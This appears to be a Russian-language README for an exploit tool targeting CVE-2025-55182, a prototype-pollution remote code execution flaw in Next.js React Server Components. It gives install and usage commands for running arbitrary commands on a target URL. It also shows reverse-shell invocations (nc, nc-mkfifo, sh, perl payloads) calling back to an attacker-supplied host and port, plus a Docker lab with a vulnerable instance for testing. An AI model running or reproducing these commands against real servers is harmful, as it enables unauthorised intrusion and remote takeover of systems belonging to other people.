Эксплойт для CVE-2025-55182, обеспечивающий удалённое выполнение кода через загрязнение прототипа в React Server Components среды Next.js, с возможностями выполнения команд и получения обратной оболочки.
Эксплуатирует CVE-2025-55182 для удалённого выполнения кода через загрязнение прототипа.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: URL/хост для проверки (обязательно)-c, --cmd: Команда для выполнения-r, --reverse: Включить режим реверс-шелла-l, --lhost: Хост прослушивания для реверс-шелла-p, --lport: Порт прослушивания для реверс-шелла-P, --payload: Тип полезной нагрузки реверс-шелла: nc, nc-mkfifo, sh, perl (по умолчанию: nc)--timeout: Таймаут запроса в секундах (по умолчанию: 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
Каталог lab/ содержит полную Docker-среду для тестирования эксплойта.
cd lab
docker-compose up -d
Это запустит два сервиса:
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo